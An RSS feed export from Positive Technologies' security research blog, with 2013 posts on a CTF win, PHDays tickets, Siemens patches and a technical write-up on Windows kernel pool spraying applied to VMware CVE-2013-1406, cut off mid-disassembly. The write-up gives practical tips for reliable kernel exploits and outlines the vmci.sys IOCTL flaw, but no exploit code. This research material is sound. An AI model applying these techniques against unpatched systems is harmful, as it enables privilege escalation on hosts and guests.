<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-8549938467002440724</atom:id><lastBuildDate>Fri, 17 May 2013 09:35:30 +0000</lastBuildDate><category>FDCC</category><category>Red Hat</category><category>mod_wsgi</category><category>random numbers generator</category><category>positive technologies</category><category>File Including</category><category>ng tcpip stack</category><category>sms</category><category>web</category><category>Chaos Constructions</category><category>vulnerability</category><category>development</category><category>icmp timestamp</category><category>penetration testing</category><category>Cisco</category><category>events</category><category>Mongo DB</category><category>Chaos Communication Congress</category><category>analytics</category><category>PTResearch</category><category>SAP DIAG</category><category>Address Space Layout Randomization</category><category>JunOS</category><category>vulnerability reward program</category><category>redhat</category><category>SAP</category><category>iphone</category><category>information security</category><category>dsniff</category><category>nginx</category><category>SIEM</category><category>server-side attacks</category><category>viruses.</category><category>linux security</category><category>client-side attacks</category><category>arp-poisoning</category><category>video</category><category>Juniper</category><category>registration</category><category>TIA Portal</category><category>SCADA</category><category>leakages</category><category>phd2011</category><category>Intel VT-x</category><category>online contests</category><category>centos</category><category>VMWare</category><category>workshop</category><category>mitm</category><category>httpd</category><category>hash cracking</category><category>web-vulnerabilities</category><category>security</category><category>Wireshark</category><category>Scada security</category><category>Asterisk</category><category>apt</category><category>browser vulnerabilities</category><category>29C3</category><category>django</category><category>ctf</category><category>WinCC</category><category>web security</category><category>surfpatrol</category><category>Best of Positive Research</category><category>android</category><category>Firefox</category><category>citrix</category><category>exploits</category><category>cross-site request forgery</category><category>Path Traversal</category><category>ibm db2</category><category>blackbox</category><category>server-side</category><category>waf</category><category>hackquest</category><category>statistics</category><category>ettercap</category><category>XSS</category><category>pentest</category><category>Positive Technologies OVAL Repository</category><category>positive research</category><category>google</category><category>XCCDF</category><category>Python</category><category>fuzzing</category><category>SAP’s wall of fame</category><category>csrf</category><category>selinux</category><category>maxpatrol</category><category>SMEP bypass</category><category>0day</category><category>Microsoft</category><category>Windows 8</category><category>net</category><category>Windows GDI</category><category>bsod</category><category>security bounty program</category><category>apple</category><category>ebay</category><category>passwords</category><category>bootkit</category><category>OVAL</category><category>SIMATIC PC7</category><category>reverse engineering</category><category>positive hack days</category><category>pirni</category><category>Forensics</category><category>fedora</category><category>PHDays CTF Quals</category><category>Cross-Site Scripting</category><category>network equipment vulnerabilities</category><category>conference</category><category>photos</category><category>cisco systems</category><category>SMEP</category><category>MBR Bootkit</category><category>microsoft file handling component</category><category>web vulnerabilities</category><category>ios</category><category>metrics</category><category>Mozilla</category><category>Proof-of-Concept</category><category>browser security</category><category>Siemens</category><category>random numbers</category><category>Skybox Security</category><category>windows</category><category>LSM</category><category>Windows Kernel</category><category>crawler</category><category>SCAP</category><category>xenserver</category><category>leaks</category><category>SQL-Injection</category><category>OVAL Adopter</category><category>wasc</category><category>vulns</category><category>code review</category><category>PoC</category><category>ASLR</category><category>hack</category><category>man in the middle</category><category>research</category><category>Remote Crash</category><category>social engineering</category><category>advanced persistent threat</category><category>system programming</category><category>xpc</category><category>tickets</category><category>0-day</category><category>Stuxnet</category><category>audit</category><category>PCI DSS</category><category>dvwa</category><category>hackers</category><category>CVE-2013-1406</category><category>google chrome</category><category>denial of service</category><category>PHP</category><category>vulnerability scanner</category><category>client-side</category><category>USGCB</category><category>MS12-081</category><category>MITRE</category><category>quals</category><category>сс10</category><category>Linux</category><category>kernel</category><category>phdays</category><category>mod_rewrite</category><category>db2 udb</category><category>DoS</category><category>compliance management</category><category>ROP</category><category>Pool Spraying</category><category>Command Execution</category><category>mod_security</category><category>SAP HR</category><category>db2 luw</category><category>threats</category><title>Positive Research Center</title><description>"for positive ideas"</description><link>http://blog.ptsecurity.com/</link><managingEditor>noreply@blogger.com (Positive Research)</managingEditor><generator>Blogger</generator><openSearch:totalResults>109</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/positiveTechnologiesResearchLab" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="positivetechnologiesresearchlab" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-4322733532452555363</guid><pubDate>Fri, 19 Apr 2013 11:12:00 +0000</pubDate><atom:updated>2013-04-19T04:12:55.000-07:00</atom:updated><title>Positive Technologies Experts Win HITBSecConf CTF 2013</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-9lMaiVG7NB0/UXEmhn1gdEI/AAAAAAAACpw/qKukb4zctK4/s1600/61012990aa768a5586f41f9df60964be.jpeg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://4.bp.blogspot.com/-9lMaiVG7NB0/UXEmhn1gdEI/AAAAAAAACpw/qKukb4zctK4/s200/61012990aa768a5586f41f9df60964be.jpeg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;
The [TechnoPandas] team, which consists of the Positive Technologies specialists, took first place at the CTF contests, which were held during HITBSecConf in Amsterdam.&lt;br /&gt;
&lt;br /&gt;
During the whole two days (they stopped just for a nap break), the teams competed in task-based CTF. The organizer of the contests was a well-known Dutch team named Eindbazen, which took part in PHDays 2012 and has been invited to PHDays III.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;
&lt;br /&gt;
Some of Eindbazen also participated in HITBSecConf CTF as members of other teams. hack.ERS being one of such teams took second place. Third place went to More Smoked Leet Chicken, a Russian team that consists of former Leet More and Smoked Chicken. Note that it was the Leet More members who won PHDays CTF 2012.&lt;br /&gt;
&lt;br /&gt;
Almost at the very beginning [TechnoPandas] came to the fore preventing other participants from taking the lead and, eventually, took first place. However, hack.ERS and More Smoked Leet Chicken were found struggling hard for second place.&lt;br /&gt;
&lt;br /&gt;
Scoreboard&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-al-u6jJc-3s/UXEmcek1XzI/AAAAAAAACpo/z78orfPQE9g/s1600/scoreboard.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="342" src="http://2.bp.blogspot.com/-al-u6jJc-3s/UXEmcek1XzI/AAAAAAAACpo/z78orfPQE9g/s640/scoreboard.gif" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
HITBSecConf is a conference devoted to information security issues. The conference is held twice a year: once in Amsterdam and once in Kuala Lumpur, Malaysia. In April in the capital of the Netherlands, the fourth conference was held. Apart from CTF contests, the program included numerous reports and hands-on labs oriented towards different aspects of information security.&lt;br /&gt;
&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2013/04/positive-technologies-experts-win.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-9lMaiVG7NB0/UXEmhn1gdEI/AAAAAAAACpw/qKukb4zctK4/s72-c/61012990aa768a5586f41f9df60964be.jpeg" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-4000575978294916852</guid><pubDate>Tue, 09 Apr 2013 09:30:00 +0000</pubDate><atom:updated>2013-04-24T04:46:23.468-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">tickets</category><category domain="http://www.blogger.com/atom/ns#">registration</category><category domain="http://www.blogger.com/atom/ns#">phdays</category><title>PHDays III — Ticket Sale Has Started </title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-4X81v3ZgdEw/UWO_aX7GjPI/AAAAAAAACpE/eWrBFMV1Acg/s1600/phd_logo_black.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="241" src="http://3.bp.blogspot.com/-4X81v3ZgdEw/UWO_aX7GjPI/AAAAAAAACpE/eWrBFMV1Acg/s320/phd_logo_black.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
Ticket sale for the international forum on practical security PHDays III started on Monday, April 8. Registration and tickets are available &lt;a href="http://phdays2013.runet-id.com/" target="_blank"&gt;here&lt;/a&gt;. A ticket bought until May 1 will cost 9,600 rubles per two days and 7,100 rubles per a day. &lt;br /&gt;
&lt;br /&gt;
After May 1 the price of a ticket will increase up to 13,700 rubles per two days and 9,600 rubles per a day.It is worth reminding that there are other ways to join the forum beside the ticket purchase — just prove yourself in any of the contests (keep up with the news on the official website) or become a speaker registering via &lt;a href="http://phdays.ru/program/call_for_papers/" target="_blank"&gt;Call for Papers&lt;/a&gt; until April 14.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Similarly to the forum held last year, anyone, who wants to, can organize PHDays in their own city — study the requirements to the participants of &lt;a href="http://www.phdays.com/registration/everywhere/" target="_blank"&gt;PHDays Everywhere&lt;/a&gt; at first. Live broadcast will be available for all Internet users.&lt;br /&gt;
&lt;br /&gt;
Find the details about the &lt;a href="http://phdays.com/how_to_join/" target="_blank"&gt;ways of participation&lt;/a&gt; in PHDays III on the forum's website.&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2013/04/phdays-iii-ticket-sale-has.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-4X81v3ZgdEw/UWO_aX7GjPI/AAAAAAAACpE/eWrBFMV1Acg/s72-c/phd_logo_black.jpg" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-2739163843396611552</guid><pubDate>Mon, 25 Mar 2013 11:26:00 +0000</pubDate><atom:updated>2013-03-25T04:26:07.283-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Siemens</category><category domain="http://www.blogger.com/atom/ns#">TIA Portal</category><category domain="http://www.blogger.com/atom/ns#">WinCC</category><category domain="http://www.blogger.com/atom/ns#">SIMATIC PC7</category><title>Siemens Fixes Vulnerabilities Detected by Positive Technologies</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-dEmbgtKhGIc/UVAyyudKCAI/AAAAAAAACno/hpRH_7fjA9k/s1600/siemens-logo.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="152" src="http://4.bp.blogspot.com/-dEmbgtKhGIc/UVAyyudKCAI/AAAAAAAACno/hpRH_7fjA9k/s200/siemens-logo.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;
Siemens has issued several patches for a series of critical vulnerabilities in its products. Security problems were detected in ICS components — development tools and HMI. More than ten vulnerabilities were eliminated. Insecure password storage, buffer overflow, and possibility of creating bookmarks in the SCADA project files were among them.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;
&lt;br /&gt;
The updates deal with Siemens SIMATIC PC7, &lt;a href="http://www.siemens.com/corporate-technology/pool/de/forschungsfelder/siemens_security_advisory_ssa-714398.pdf" target="_blank"&gt;WinCC&lt;/a&gt; and &lt;a href="http://www.siemens.com/corporate-technology/pool/de/forschungsfelder/siemens_security_advisory_ssa-212483.pdf" target="_blank"&gt;TIA Portal&lt;/a&gt; and focus on elimination of security problems detected by the experts of Positive Technologies. It is worth reminding that &lt;a href="http://blog.ptsecurity.ru/2013/01/blog-post.html" target="_blank"&gt;WinCC Hardening Guides&lt;/a&gt;, which can be used as technical security standards for system configuration or as security checklists for audit, had been earlier published in the blog of Positive Technologies Research Center.&lt;br /&gt;
&lt;br /&gt;
Siemens thanked the specialists of Positive Technologies, namely Sergey Bobrov, Sergey Gordeychik, Gleb Gritsay, Roman Ilin, Ilya Karpov, Dmitry Nagibin, Alexey Osipov, Artyom Chaykin and Timur Yunusov. Moreover, the Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) highly rated the research performed by our experts and issued the relevant advisory.&lt;br /&gt;
&lt;br /&gt;
Several new attack vectors eliminated by Siemens were presented by the experts of Positive Technologies at the conference Black Hat Europe that took place in Amsterdam in the middle of March.&lt;br /&gt;
&lt;br /&gt;
"Elimination of these vulnerabilities results from the research of ICS components security performed by our research center. Design of critical elements is impossible if untrusted or insecure components are used in production systems. Our aim is to increase the security level of ICS systems, so we'll keep on working in this direction," said Sergey Gordeychik, the Chief Technical Officer.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2013/03/siemens-fixes-vulnerabilities-detected.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-dEmbgtKhGIc/UVAyyudKCAI/AAAAAAAACno/hpRH_7fjA9k/s72-c/siemens-logo.jpg" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-1564450873639642313</guid><pubDate>Wed, 06 Mar 2013 14:25:00 +0000</pubDate><atom:updated>2013-03-07T00:39:29.687-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Windows Kernel</category><category domain="http://www.blogger.com/atom/ns#">Pool Spraying</category><category domain="http://www.blogger.com/atom/ns#">VMWare</category><category domain="http://www.blogger.com/atom/ns#">CVE-2013-1406</category><title>Stars aligner’s how-to: kernel pool spraying and VMware CVE-2013-1406</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
If you deal with Windows kernel vulnerabilities, it is likely that you’ll have to deal with a kernel pool in order to develop an exploit. I guess it is useful to learn how to keep the behavior of this kernel entity under your control.&lt;br /&gt;
&lt;br /&gt;
In this article I will try to give a high level overview of kernel pool internals. This object has already been deeply researched several times, so if you need more technical information,  please google it or use the references at the end of this article.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Kernel pool structure overview&lt;/b&gt;&lt;br /&gt;
Kernel pool is a common place for mining memory in the operating system kernel. Remember that there are very small stacks in the kernel environment. They are suitable only for a small bunch of local non-array variables. Once a driver needs to create a large data structure or a string, it will certainly use the pool memory.&lt;br /&gt;
&lt;br /&gt;
There are different types of pools, but all of them have the same structure (except of the driver verifier’s special pool). Every pool has a special control structure called a pool descriptor. Among the other purposes, it maintains lists of free pool chunks, which represent a free pool space. A pool itself consists of memory pages. They can be standard 4 KB or large 1 MB in size. The number of pages used for the pool is dynamically adjusted.&lt;br /&gt;
&lt;br /&gt;
Kernel pool pages are then split into chunks. These are the exact chunks that drivers are given when requesting memory from the pool.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-kanhqQ0f6ws/UTct9G0_X3I/AAAAAAAACkE/K0aomcJbodA/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="340" src="http://3.bp.blogspot.com/-kanhqQ0f6ws/UTct9G0_X3I/AAAAAAAACkE/K0aomcJbodA/s640/1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
Pool chunk on x86 systems
&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Pool chunks have the following meta-information inside&lt;br /&gt;
&lt;br /&gt;
1.&amp;nbsp;Previous size — a size of the preceding chunk.&lt;br /&gt;
&lt;br /&gt;
2.&amp;nbsp;Pool index field is used for situations with more than one pool of a certain type. For example, there are multiple paged pools in the system. This field is used to identify which exact paged pool this chunk belongs to.&lt;br /&gt;
&lt;br /&gt;
3.&amp;nbsp;Block size is a size of the current chunk. Just like the previous size field, the size is encoded as (pool chunk data size + size of pool header + optional 4 bytes of a pointer to the process quoted) &amp;gt;&amp;gt; 3 (or &amp;gt;&amp;gt; 4 on x64 systems).&lt;br /&gt;
&lt;br /&gt;
4.&amp;nbsp;Pool type field is a flag bitmask for the current chunk. Notice that those flags are not officially documented.&lt;br /&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;T (Tracked): this chunk is tracked by the driver verifier. Pool tracking is used for debugging purposes.&lt;/li&gt;
&lt;li&gt;S (Session): the chunk belongs to the paged session pool, it is a special pool used for session specific allocations.&lt;/li&gt;
&lt;li&gt;Q (Quota): the chunk takes part in quota management mechanism. This flag is only relevant for 32-bit systems. If this flag is present, a pointer to the process quoted this chunk is stored at the end of the chunk.&lt;/li&gt;
&lt;li&gt;U (In use): this chunk is currently in use. As opposed a chunk can be free, which means that we can allocate memory from it. This flag is a third bit for pre-vista systems and the second for vista and upper.&lt;/li&gt;
&lt;li&gt;B (Base pool) identifies a pool which the chunk belongs to. There are two base pools – paged and non-paged. Non-paged pool is encoded as 0 and paged pool as 1. For pre-vista systems this flag could occupy two bits because the base pool type was encoded as (base pool type + 1), that is 0x10 for paged pool and 0x1 for non-paged pool.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
5.&amp;nbsp;Pool tag is used for debugging purposes. Drivers specify a four-byte character signature which identifies a subsystem or a driver that uses this chunk. For example “NtFs” tag means that this chunk belongs to the ntfs.sys driver.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-ECwOihAXzq8/UTcvZfxVyuI/AAAAAAAACkQ/0o7VcCUITTM/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="340" src="http://2.bp.blogspot.com/-ECwOihAXzq8/UTcvZfxVyuI/AAAAAAAACkQ/0o7VcCUITTM/s640/2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
Pool chunk on x64 systems&lt;/div&gt;
&lt;br /&gt;
There is a couple of differences on 64-bit systems. The first one is a different size for fields and the second one is a new 8-byte field with a pointer to the process that quoted this chunk.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Kernel pool memory allocation overview&lt;/b&gt;&lt;br /&gt;
Imagine that the pool is empty. I mean there is no pool space at all. If we try to allocate memory from the pool (let’s say that its size is less than 0xFF0), it will first allocate a memory page and then place a chunk of the requested size on it. Since it is the first allocation on this page, the chunk will be placed at the start of this page.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-7urdUeaQ7As/UTcyMYqlYLI/AAAAAAAAClA/HCjf9WqAlk4/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="208" src="http://4.bp.blogspot.com/-7urdUeaQ7As/UTcyMYqlYLI/AAAAAAAAClA/HCjf9WqAlk4/s640/3.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
The first pool chunk allocation sequence&lt;/div&gt;
&lt;br /&gt;
This page has now two pool chunks — the one that we allocated and a free one. The free chunk can now be used for consequent allocations. But from this moment pool allocator tends to place new chunks at the end of the page or the free space within this page.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-Ln0z9Bgqm_s/UTczHuKWMpI/AAAAAAAAClM/C8SSZ65Kc_c/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="198" src="http://3.bp.blogspot.com/-Ln0z9Bgqm_s/UTczHuKWMpI/AAAAAAAAClM/C8SSZ65Kc_c/s640/6.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
Pool chunk allocation strategy&lt;/div&gt;
&lt;br /&gt;
When it comes to the deallocation of the chunks, the process is repeated in a reverse order. The chunks become free, and they are merged if they are adjacent.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-aA3ZW7be4ac/UTc0NzLpDGI/AAAAAAAAClY/LxEGYugjZwM/s1600/9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="194" src="http://2.bp.blogspot.com/-aA3ZW7be4ac/UTc0NzLpDGI/AAAAAAAAClY/LxEGYugjZwM/s640/9.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
Pool deallocation strategy&lt;/div&gt;
&lt;br /&gt;
The whole situation with empty pools is just a fantasy, because the pools are charged with memory pages by the moment we can actually use them.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Controlling the behavior of chunk allocations&lt;/b&gt;&lt;br /&gt;
Let’s keep in mind the fact that kernel pool is a heavily-used object. First of all it used for creating all sorts of kernel objects, private kernel and drivers structures. Secondly, kernel pool takes part in a number of system calls, providing a buffer for the corresponding parameters. Since the computer is constantly servicing hardware by means of drivers and software by means of system calls, you can imagine the rate of kernel pool usage even when the system stays idle.&lt;br /&gt;
&lt;br /&gt;
Sooner or later kernel pool becomes fragmented. It happens because of different sizes of allocations and frees following in a different order. Here goes out the origin of the “spraying” term — when sequentially allocating chunks of pool, those chunks are not necessarily followed by each other, there are most likely to be located at completely different places in memory. So, when filling the pool memory with controlled red-painted chunks we are likely going to see the left side of a picture, then the right one.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-K1AI2cKvmGI/UTc0rGkZGeI/AAAAAAAAClg/soDN_a4nboU/s1600/12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="310" src="http://2.bp.blogspot.com/-K1AI2cKvmGI/UTc0rGkZGeI/AAAAAAAAClg/soDN_a4nboU/s640/12.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
Heap spraying leads to the left picture, not the right one&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;br /&gt;&lt;/div&gt;
But there is an important exploiting-relevant circumstance: when there is no black region left for painting, we’ll get a new black region without stranger’s spots. From this point our spray becomes an ordinary brush with solid color fill. From here we have a considerable level of controlling the behavior of chunk allocation and a picture of the pool. We say considerable because it is still not the case when we are guaranteed to be the painting master, because our painting process can be interrupted by someone else spilling a different color.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-IcdyP14rlEg/UTc0zkNxdPI/AAAAAAAAClo/RmERY8Psflg/s1600/14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://3.bp.blogspot.com/-IcdyP14rlEg/UTc0zkNxdPI/AAAAAAAAClo/RmERY8Psflg/s400/14.png" width="393" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
The spraying becomes filling when using a lot of objects&lt;/div&gt;
&lt;br /&gt;
Depending on a type of an object that we are using for spraying, we are able to create free windows of needed size by freeing a number of objects that we created before. And the most important fact that allows us to make a controlled allocation is that pool allocator tends to be as fast as it is possible. In order to use processor cache effectively the last freed pool chunk will be the first one that is allocated! It is the point of the controlled allocation because we can guess the address of the chunk to be allocated.&lt;br /&gt;
&lt;br /&gt;
Of course the size of the allocation matters. That’s why we have to calculate the size of the free chunks window. If we have to allocate a 0x315 bytes chunk, and we are spraying 0x20 bytes chunks, we have to free 0x315 / 0x20 = (0x18 + 1) chunks. I hope this is clear enough.&lt;br /&gt;
&lt;br /&gt;
Here are some points we need to consider in order to be successful in kernel pool spraying:&lt;br /&gt;
&lt;br /&gt;
1.&amp;nbsp;If you don’t have an opportunity of allocating the kernel pool with some sort of a target driver, you can always use windows objects as spraying objects. Since windows object are naturally the object of the operating system kernel, they are stored in kernel pools.&lt;br /&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;For non-paged pool you can use processes, threads, events, semaphores, mutexes etc.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;For paged pool you can use directory objects, key objects, section objects (also known as file mapping) etc.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;For session pool you can use any GDI or USER object: palettes, DCs, brushes etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
In order to free the memory occupied by those objects, you can simply close all open handles to them.&lt;br /&gt;
&lt;br /&gt;
2.&amp;nbsp;By the time we are going to start spraying there are pages available for pool usage, but they are too defragmented. If we need a space filled sequentially with controlled chunks, we need to spam the pool so there is no place on currently available pages. After this we’ll get a new clean page leading to the chance of sequential allocation of controlled chunks. In a nutshell, create lots of spraying objects.&lt;br /&gt;
&lt;br /&gt;
3.&amp;nbsp;When calculating a necessary window size, keep in mind that chunk header size matters, also the whole size is rounded up to 8 and 16 bytes on x86 and x64 machines respectively.&lt;br /&gt;
&lt;br /&gt;
4.&amp;nbsp;Although we are able to control the manner of allocation of the pool chunks, it is difficult to predict relative positions of the sprayed objects. If you use windows object for spraying thus having only the handle of an object but not it’s address, you can leak kernel object using the NtQuerySystemInformation() function with SystemExtendedHandleInformation class. It will provide you all the information needed for precise spraying.&lt;br /&gt;
&lt;br /&gt;
5.&amp;nbsp;Keep the balance of the sprayed objects quantity. You’ll probably fail controlling the chunk allocation when the is no memory left in the system at all.&lt;br /&gt;
&lt;br /&gt;
6.&amp;nbsp;One of the tricks that might help you improve reliability of kernel pool based exploits is assigning a high priority to the spraying and triggering thread. Since there is a race for using the pool memory it is useful to modify the pool sharing priority by having more chances to execute than the other threads in the system. It will help you to keep your spraying more consistent. Also consider the gap between spraying and triggering the vulnerability: the less it is, the more chance you get to land on the controlled pool chunk.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;VMware CVE 2013-1406&lt;/b&gt;&lt;br /&gt;
A couple of weeks ago an interesting advisory by VMware was published. It promised local privilege escalation on both host and guest systems thus leading to a double ownage.&lt;br /&gt;
&lt;br /&gt;
The vulnerable component was vmci.sys. VMCI stands for Virtual Machine Communication Interface. It is used for fast and efficient communication between guest virtual machines and their host server. VMCI presents a custom socket type implemented as a Windows Socket Service Provider in a vsocklib.dll library. The module vmci.sys creates a virtual device that implements the needed functionality. This driver is always running on the host system. As for guest systems, VMware tools have to be installed in order to use VMCI.&lt;br /&gt;
&lt;br /&gt;
When writing an overview it would be nice to explain a high-level logic of vulnerability in order to present a detective-like story. Unfortunately this is not the case, because there is not much public information about VMCI implementation. I don’t think that people who exploit vulnerabilities always go deep into details reverse engineering the whole target system. At least it would be more profitable to obtain a stable working exploit within a week than a high-level knowledge of how the things work in months.&lt;br /&gt;
&lt;br /&gt;
PatchDiff highlight three patched functions. All of them were relevant to the same IOCTL code 0x8103208C – something terribly went wrong with handling it.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-7f0KnX9-Jn4/UTc1SOHVrGI/AAAAAAAAClw/GQY89wYvsDc/s1600/15.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="282" src="http://4.bp.blogspot.com/-7f0KnX9-Jn4/UTc1SOHVrGI/AAAAAAAAClw/GQY89wYvsDc/s640/15.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
Control flow of the code processing the 0x8103208C IOCTL&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
The third patched function eventually was called both from the first and the second ones. The third function is supposed to allocate a pool chunk of a requested size times 0x68 and initialize it with zeroes. It contained an internal structure for dispatching the request. The problem was that a chunk size was specified in a user buffer for this IOCTL code and was not checked properly. As a result, an internal structure was not allocated which led to interesting consequences.&lt;br /&gt;
&lt;br /&gt;
A buffer is supplied for this IOCTL, its size is supposed to be 0x624 in order to reach patched functions. In order to process user request in internal structure is allocated, its size is 0x20C. Its first 4 bytes were filled with a value, specified at [user_buffer + 0x10]. These exact bytes are used to allocate another internal structure the pointer to which is then stored at the last four bytes of the first one. But no matter was the second chunk allocated or not, a sort of a dispatch function was invoked.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
.text:0001B2B4 &amp;nbsp; &amp;nbsp; ; int __stdcall DispatchChunk(PVOID pChunk)&lt;br /&gt;
